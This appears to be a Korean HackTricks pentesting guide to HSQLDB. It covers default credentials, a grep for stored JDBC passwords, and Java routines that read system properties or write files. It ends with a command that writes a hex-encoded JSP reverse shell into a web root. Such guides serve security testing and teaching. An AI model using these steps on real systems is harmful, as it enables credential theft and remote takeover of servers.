tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

기본 정보

**HSQLDB (HyperSQL DataBase)**는 Java로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 메모리 및 디스크 기반 테이블을 갖춘 작고 빠른 다중 스레드 및 트랜잭션 데이터베이스 엔진을 제공하며, 임베디드 및 서버 모드를 지원합니다.

기본 포트: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

정보

기본 설정

기본적으로 이 서비스는 메모리에서 실행되거나 localhost에 바인딩되어 있을 가능성이 높습니다. 이를 발견했다면, 아마 다른 서비스를 이용해 취약점을 이용하고 권한 상승을 시도하고 있는 것입니다.

기본 자격 증명은 일반적으로 sa와 빈 비밀번호입니다.

다른 서비스를 이용했다면, 가능한 자격 증명을 검색하세요.

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

데이터베이스 이름을 주의 깊게 기록하세요 - 연결하는 데 필요합니다.

정보 수집

HSQLDB 다운로드hsqldb/lib/hsqldb.jar를 추출하여 DB 인스턴스에 연결합니다. java -jar hsqldb.jar를 사용하여 GUI 앱 (eww)을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결합니다.

원격 시스템의 경우 연결 URL은 다음과 비슷하게 보일 것입니다: jdbc:hsqldb:hsql://ip/DBNAME.

트릭

자바 언어 루틴

HSQLDB에서 자바 언어 루틴을 사용하여 자바 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 애플리케이션의 클래스 경로에 있어야 합니다.

JRT는 functions 또는 procedures일 수 있습니다. 함수는 자바 메서드가 하나 이상의 SQL 호환 원시 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. VALUES 문을 사용하여 호출됩니다.

우리가 호출하려는 자바 메서드가 void를 반환하는 경우, CALL 문으로 호출되는 프로시저를 사용해야 합니다.

자바 시스템 속성 읽기

함수 생성:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

함수 실행:

text
VALUES(getsystemproperty('user.name'))

여기에서 시스템 속성 목록을 찾을 수 있습니다.

파일에 내용 쓰기

JDK에 위치한 com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java 가젯을 사용하여 사용자 정의 프로시저를 통해 16진수 인코딩 항목을 디스크에 쓸 수 있습니다 (애플리케이션의 클래스 경로에 자동으로 로드됨). 최대 크기는 1024 바이트입니다.

프로시저 생성:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

프로시저 실행:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기